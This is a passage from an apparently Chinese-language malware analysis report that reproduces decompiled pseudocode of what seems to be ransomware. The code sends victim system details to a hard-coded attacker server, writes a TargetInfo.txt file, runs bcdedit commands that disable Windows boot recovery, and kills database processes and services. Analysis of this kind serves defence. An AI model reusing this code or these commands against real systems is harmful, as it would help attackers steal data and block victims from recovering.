&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(a1&nbsp;+&nbsp;1112)&nbsp;+=&nbsp;NumberOfBytesWritten;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v26&nbsp;+=&nbsp;v34;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v27&nbsp;+=&nbsp;v34;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;v38;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v26&nbsp;>=&nbsp;v38&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_1400227D0(a1,&nbsp;v25,&nbsp;0i64,&nbsp;0i64)&nbsp;||&nbsp;!v26&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(a1&nbsp;+&nbsp;1192)&nbsp;+=&nbsp;v19;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2&nbsp;=&nbsp;v40;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;*(a1&nbsp;+&nbsp;1184)&nbsp;<=&nbsp;*(a1&nbsp;+&nbsp;1192)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v3&nbsp;=&nbsp;v37;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v24&nbsp;=&nbsp;v46;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
LABEL_42:
&nbsp;&nbsp;&nbsp;&nbsp;sub_1400122A0(v43,&nbsp;a1&nbsp;+&nbsp;1056);
&nbsp;&nbsp;&nbsp;&nbsp;v32&nbsp;=&nbsp;v43;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v44&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v32&nbsp;=&nbsp;v43[0];
&nbsp;&nbsp;&nbsp;&nbsp;sub_140021E10(a1,&nbsp;L"Write&nbsp;error:&nbsp;%s",&nbsp;v32);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v44&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;v43[0];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;2&nbsp;*&nbsp;v44&nbsp;+&nbsp;2&nbsp;>=&nbsp;0x1000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;*(v43[0]&nbsp;-&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(v43[0]&nbsp;-&nbsp;v33&nbsp;-&nbsp;8)&nbsp;>&nbsp;0x1F&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;invalid_parameter_noinfo_noreturn();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_65;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;sub_1400122A0(v43,&nbsp;a1&nbsp;+&nbsp;1056);
&nbsp;&nbsp;&nbsp;&nbsp;v35&nbsp;=&nbsp;v43;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v44&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v35&nbsp;=&nbsp;v43[0];
&nbsp;&nbsp;&nbsp;&nbsp;sub_140021E10(a1,&nbsp;L"Set&nbsp;pos&nbsp;error:&nbsp;%s",&nbsp;v35);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v44&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;v43[0];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;2&nbsp;*&nbsp;v44&nbsp;+&nbsp;2&nbsp;>=&nbsp;0x1000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;*(v43[0]&nbsp;-&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(v43[0]&nbsp;-&nbsp;v33&nbsp;-&nbsp;8)&nbsp;>&nbsp;0x1F&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;invalid_parameter_noinfo_noreturn();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_65;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
}

5.12 网络连接

在函数sub_140009180中实现了网络连接，并生成了文件TargetInfo.txt。

向黑客服务器发送相关的加密信息：

v11&nbsp;=&nbsp;sub_140022D40(&v37,&nbsp;L"http://91.215.85.142/QWEwqdsvsf/ap.php");
&nbsp;&nbsp;&nbsp;&nbsp;HIDWORD(v38)&nbsp;=&nbsp;v11;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!v11&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
LABEL_75:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;&v37;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;sub_140022930(v7);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;sub_140050D90(v58,&nbsp;0i64,&nbsp;248i64);
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000CA90(v58);
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000F530(v59,&nbsp;L"Content-Type:&nbsp;application/x-www-form-urlencoded\r\nHost:&nbsp;");
&nbsp;&nbsp;&nbsp;&nbsp;v12&nbsp;=&nbsp;sub_14000F530(v59,&nbsp;v37);
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000F800(v12);
&nbsp;&nbsp;&nbsp;&nbsp;*v69&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;&nbsp;&nbsp;v70&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;qword_140076130&nbsp;/&nbsp;0x40000000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wnsprintfA(v69,&nbsp;10,&nbsp;"%llu",&nbsp;qword_140076130&nbsp;/&nbsp;0x40000000);
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wnsprintfA(v69,&nbsp;10,&nbsp;"0.%llu",&nbsp;qword_140076130&nbsp;/&nbsp;0x100000);
&nbsp;&nbsp;&nbsp;&nbsp;sub_140050D90(v49,&nbsp;0i64,&nbsp;248i64);
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000BC20(v49);
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000FBA0(v50,&nbsp;"user=");
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000BDF0(v50);
&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;sub_14000FBA0(v50,&nbsp;"&TargetID=");
&nbsp;&nbsp;&nbsp;&nbsp;v14&nbsp;=&nbsp;sub_14000FBA0(v13,&nbsp;byte_1400762E0);
&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;sub_14000FBA0(v14,&nbsp;"&SystemInformation=");
&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;sub_14000FBA0(v15,&nbsp;::pszUrl);
&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;=&nbsp;sub_14000FBA0(v16,&nbsp;"&max_size_of_file=");
&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;=&nbsp;sub_14000FBA0(v17,&nbsp;v69);
&nbsp;&nbsp;&nbsp;&nbsp;v19&nbsp;=&nbsp;sub_14000FBA0(v18,&nbsp;"&size_of_hdd=");
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000BF50(v19,&nbsp;dword_140077144);

写入文件TargetInfo.txt：

FileW&nbsp;=&nbsp;CreateFileW(L"TargetInfo.txt",&nbsp;0x40000000u,&nbsp;1u,&nbsp;0i64,&nbsp;2u,&nbsp;0x80u,&nbsp;0i64);
if&nbsp;(&nbsp;FileW&nbsp;!=&nbsp;-1i64&nbsp;)
{
&nbsp;&nbsp;TotalNumberOfBytes.QuadPart&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;v68&nbsp;=&nbsp;0;
&nbsp;&nbsp;if&nbsp;(&nbsp;qword_140076130&nbsp;/&nbsp;0x40000000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;wnsprintfA(&TotalNumberOfBytes,&nbsp;10,&nbsp;"%llu",&nbsp;qword_140076130&nbsp;/&nbsp;0x40000000);
&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;wnsprintfA(&TotalNumberOfBytes,&nbsp;10,&nbsp;"0.%d",&nbsp;qword_140076130&nbsp;/&nbsp;0x100000);
&nbsp;&nbsp;TotalNumberOfFreeBytes.LowPart&nbsp;=&nbsp;512;
&nbsp;&nbsp;UrlUnescapeA(::pszUrl,&nbsp;pszUrl,&nbsp;&TotalNumberOfFreeBytes,&nbsp;0);
&nbsp;&nbsp;LODWORD(hTemplateFile)&nbsp;=&nbsp;dword_140077144;
&nbsp;&nbsp;wnsprintfA(v75,&nbsp;1024,&nbsp;"%s|%s|%s|%d",&nbsp;byte_1400762E0,&nbsp;pszUrl,&nbsp;&TotalNumberOfBytes,&nbsp;hTemplateFile);
&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;++v3;
&nbsp;&nbsp;while&nbsp;(&nbsp;v75[v3]&nbsp;);
&nbsp;&nbsp;WriteFile(FileW,&nbsp;v75,&nbsp;v3,&nbsp;LCData,&nbsp;0i64);
&nbsp;&nbsp;CloseHandle(FileW);
}

获得当前操作系统名称：

if&nbsp;(&nbsp;!RegOpenKeyExA(HKEY_LOCAL_MACHINE,&nbsp;"SOFTWARE\\Microsoft\\Windows&nbsp;NT\\CurrentVersion",&nbsp;0,&nbsp;1u,&nbsp;&TotalNumberOfBytes)&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;*pszDest&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;cbData&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!RegQueryValueExA(TotalNumberOfBytes.QuadPart,&nbsp;"ProductName",&nbsp;0i64,&nbsp;pszDest,&nbsp;0i64,&nbsp;&cbData)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;*pszDest&nbsp;==&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;(v5&nbsp;=&nbsp;j__malloc_base(cbData&nbsp;+&nbsp;1i64),&nbsp;(v4&nbsp;=&nbsp;v5)&nbsp;!=&nbsp;0i64)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;((sub_140050D90(v5,&nbsp;0i64,&nbsp;cbData&nbsp;+&nbsp;1i64),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegQueryValueExA(TotalNumberOfBytes.QuadPart,&nbsp;"ProductName",&nbsp;0i64,&nbsp;0i64,&nbsp;v4,&nbsp;&cbData))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;||&nbsp;*pszDest&nbsp;!=&nbsp;1)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(TotalNumberOfBytes.QuadPart);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free(v4);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(TotalNumberOfBytes.QuadPart);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}

查询公网ip：

v6&nbsp;=&nbsp;sub_140022D40(&v35,&nbsp;L"http://api.ipify.org");
&nbsp;&nbsp;v7&nbsp;=&nbsp;&v35;
&nbsp;&nbsp;HIDWORD(v36)&nbsp;=&nbsp;v6;
&nbsp;&nbsp;if&nbsp;(&nbsp;v6&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v8&nbsp;=&nbsp;sub_140022960(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&v35,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"GET",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L"Content-Type:&nbsp;application/x-www-form-urlencoded\r\nHost:&nbsp;api.ipify.org\r\n",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0i64,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pszDest);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v8&nbsp;&&&nbsp;*pszDest&nbsp;<&nbsp;0x11u&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_140051150(&v71,&nbsp;v8,&nbsp;*pszDest,&nbsp;v9);
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&v71&nbsp;=&nbsp;0x6E776F6E6B6E75i64;
&nbsp;&nbsp;&nbsp;&nbsp;free(v8);
&nbsp;&nbsp;&nbsp;&nbsp;memset(&SystemInfo,&nbsp;0,&nbsp;sizeof(SystemInfo));
&nbsp;&nbsp;&nbsp;&nbsp;GetNativeSystemInfo(&SystemInfo);
&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;"x64";
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;SystemInfo.wProcessorArchitecture&nbsp;!=&nbsp;9&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;"x32";
&nbsp;&nbsp;&nbsp;&nbsp;sub_140050D90(pszUrl,&nbsp;0i64,&nbsp;384i64);
&nbsp;&nbsp;&nbsp;&nbsp;wnsprintfA(pszUrl,&nbsp;384,&nbsp;"%s&nbsp;%s,&nbsp;%s,&nbsp;%s,&nbsp;%s",&nbsp;v4,&nbsp;v10,&nbsp;LCData,&nbsp;&v71,&nbsp;Buffer);
&nbsp;&nbsp;&nbsp;&nbsp;UrlEscapeA(pszUrl,&nbsp;::pszUrl,&nbsp;&pcchEscaped,&nbsp;0x2000000u);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v4&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free(v4);
&nbsp;&nbsp;&nbsp;&nbsp;sub_140022930(&v35);
&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_26;
&nbsp;&nbsp;}

5.13 关闭进程&服务

在函数sub_14000A810中关闭了相关进程与服务。

首先调用系统命令，配置 Windows 启动时的错误处理策略。将当前系统的启动状态策略设置为忽略所有失败，以及禁用当前系统的恢复功能。

&nbsp;&nbsp;ShellExecuteW(0i64,&nbsp;0i64,&nbsp;L"cmd.exe",&nbsp;L"/c&nbsp;bcdedit&nbsp;/set&nbsp;{current}&nbsp;bootstatuspolicy&nbsp;ignoreallfailures",&nbsp;0i64,&nbsp;0);
&nbsp;&nbsp;ShellExecuteW(0i64,&nbsp;0i64,&nbsp;L"cmd.exe",&nbsp;L"/c&nbsp;bcdedit&nbsp;/set&nbsp;{current}&nbsp;recoveryenabled&nbsp;no",&nbsp;0i64,&nbsp;0);

紧接着关闭部分进程：

v14&nbsp;=&nbsp;OpenProcess(1u,&nbsp;0,&nbsp;*(v6&nbsp;-&nbsp;2));
v15&nbsp;=&nbsp;v14;
if&nbsp;(&nbsp;v14&nbsp;)
{
&nbsp;&nbsp;&nbsp;&nbsp;TerminateProcess(v14,&nbsp;0);
&nbsp;&nbsp;&nbsp;&nbsp;WaitForSingleObject(v15,&nbsp;0x3A98u);
&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(v15);
}

关闭的进程如下：

.rdata:000000014005F6D0&nbsp;off_14005F6D0&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlservExe&nbsp;&nbsp;&nbsp;;&nbsp;DATA&nbsp;XREF:&nbsp;sub_14000A810+B1↑o
.rdata:000000014005F6D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"sqlserv.exe"
.rdata:000000014005F6D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOracleExe&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"oracle.exe"
.rdata:000000014005F6E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNtdbsmgrExe&nbsp;&nbsp;;&nbsp;"ntdbsmgr.exe"
.rdata:000000014005F6E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlservrExe&nbsp;&nbsp;;&nbsp;"sqlservr.exe"
.rdata:000000014005F6F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlwriterExe&nbsp;;&nbsp;"sqlwriter.exe"
.rdata:000000014005F6F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsdtssrvrExe&nbsp;;&nbsp;"MsDtsSrvr.exe"
.rdata:000000014005F700&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsmdsrvExe&nbsp;&nbsp;&nbsp;;&nbsp;"msmdsrv.exe"
.rdata:000000014005F708&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aReportingserve&nbsp;;&nbsp;"ReportingServecesService.exe"
.rdata:000000014005F710&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFdhostExe&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"fdhost.exe"
.rdata:000000014005F718&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFdlauncherExe&nbsp;;&nbsp;"fdlauncher.exe"
.rdata:000000014005F720&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysqlExe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"mysql.exe"

关闭windows服务：

v16&nbsp;=&nbsp;off_14005EA40;
&nbsp;&nbsp;v22&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;v21&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;LOWORD(v21)&nbsp;=&nbsp;0;
&nbsp;&nbsp;v23&nbsp;=&nbsp;7i64;
&nbsp;&nbsp;do
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;=&nbsp;-1i64;
&nbsp;&nbsp;&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++v17;
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;*(*v16&nbsp;+&nbsp;2&nbsp;*&nbsp;v17)&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;sub_14000F130(&v21);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v22&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_140014C10(&v24,&nbsp;&v21);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;=&nbsp;&v21;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v22&nbsp;=&nbsp;0i64;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v23&nbsp;>&nbsp;7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;=&nbsp;v21;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*v18&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;+=&nbsp;8;
&nbsp;&nbsp;}
&nbsp;&nbsp;while(---)

&nbsp;&nbsp;void&nbsp;__fastcall&nbsp;sub_140014C10(__int64&nbsp;a1,&nbsp;const&nbsp;WCHAR&nbsp;*a2)
{
&nbsp;&nbsp;ULONGLONG&nbsp;TickCount64;&nbsp;//&nbsp;rsi
&nbsp;&nbsp;SC_HANDLE&nbsp;v5;&nbsp;//&nbsp;rax
&nbsp;&nbsp;SC_HANDLE&nbsp;v6;&nbsp;//&nbsp;rbx
&nbsp;&nbsp;SC_HANDLE&nbsp;hService;&nbsp;//&nbsp;[rsp+60h]&nbsp;[rbp-58h]&nbsp;BYREF
&nbsp;&nbsp;DWORD&nbsp;pcbBytesNeeded;&nbsp;//&nbsp;[rsp+68h]&nbsp;[rbp-50h]&nbsp;BYREF
&nbsp;&nbsp;struct&nbsp;_SERVICE_STATUS&nbsp;Buffer;&nbsp;//&nbsp;[rsp+70h]&nbsp;[rbp-48h]&nbsp;BYREF

&nbsp;&nbsp;if&nbsp;(&nbsp;!*(a1&nbsp;+&nbsp;40)&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;pcbBytesNeeded&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;TickCount64&nbsp;=&nbsp;GetTickCount64();
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;*(a2&nbsp;+&nbsp;3)&nbsp;>&nbsp;7ui64&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a2&nbsp;=&nbsp;*a2;
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;OpenServiceW(*(a1&nbsp;+&nbsp;32),&nbsp;a2,&nbsp;0x2Eu);
&nbsp;&nbsp;&nbsp;&nbsp;hService&nbsp;=&nbsp;v5;
&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;=&nbsp;v5;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v5&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ChangeServiceConfigW(v5,&nbsp;0xFFFFFFFF,&nbsp;4u,&nbsp;0xFFFFFFFF,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64,&nbsp;0i64);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;QueryServiceStatusEx(v6,&nbsp;SC_STATUS_PROCESS_INFO,&nbsp;&Buffer,&nbsp;0x24u,&nbsp;&pcbBytesNeeded)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;Buffer.dwCurrentState&nbsp;!=&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;Buffer.dwCurrentState&nbsp;==&nbsp;3&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(Buffer.dwWaitHint);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!QueryServiceStatusEx(v6,&nbsp;SC_STATUS_PROCESS_INFO,&nbsp;&Buffer,&nbsp;0x24u,&nbsp;&pcbBytesNeeded)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;||&nbsp;Buffer.dwCurrentState&nbsp;==&nbsp;1
